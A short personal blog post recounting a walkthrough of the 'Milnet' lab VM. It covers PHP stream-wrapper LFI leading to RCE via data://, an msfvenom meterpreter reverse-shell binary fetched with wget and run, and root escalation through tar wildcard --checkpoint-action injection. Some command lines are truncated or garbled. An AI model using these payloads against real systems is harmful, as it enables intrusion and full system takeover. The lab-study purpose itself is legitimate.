Hello Milnet, again

Obviously since my blog died a while ago, I lost my milnet writeup. That kinda bugged me, not because that my writeup was so awesome (it was not) but because it used some interesting techniques I had not previously abused before.

This is not a write up, but just a tribute

First of all, the issues importing it in Virtualbox seem to have been fixed, other than that I needed to tell it that it was a 64 bit VM. No more .ova file hacking at least.

Here are my notes, no screenshots or pictures this time:

Point browser at IP of milnet also using Burp Suite Free

Notice that browsing the site, it uses POST variables to visit various pages using the parameter route=[php file]

The parameter does not allow for LFI for anything other than php files it seems; and they are interpreted before display so little use. However; some trial and error showed that abusing php stream filters you can display the contents of the php files:


Sadly, this is not directly useful; however if php://filter is abusable, chances are that data:// can also be abused. It was :)

route=data://text/plain;base64,[base64 encoded php program code]

Where program could for example would be something like:

echo $cmd;

Nicely outputs the user “www-data”.

Ok, so we have RCE but what is the easiest way to give us an interactive shell? Obviously meterpreter reverse shell, so using msfvenom we generate an ELF binary for reverse tcp:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -f elf > shell.elf

We then put this binary in our local webroot and fire up Apache webserver. We then encode the wget command to download shell.elf to /tmp on the milnet machine and execute it. Sure enough, our multi-handler drops us in an limited shell from the user www-data.

Looking around the filesystem, what imediately caught my eye was /backup in the root. The script itself consisted of only 2 lines to tar the /var/www/html directory. This was obviously suspicious since we as www-data user have read-write and execute rights there and the resulting compressed archive was owned by root.

[insert an hour of breaking my head over what to do with this]

Some google-fu made me end up at which explained how tar and wildcards can be abused resulting in command execution. This was a most obvious factor due to the retarded backup script being executed and owned by root.

Making it work was trivial:

cd /var/www/html
echo "/tmp/shell.elf" >
chmod +x
echo "" > --checkpoint=1
echo "" > --checkpoint-action=exec=sh\

Then I killed the current meterpreter session and waited. Not long after it dropped me in a root shell!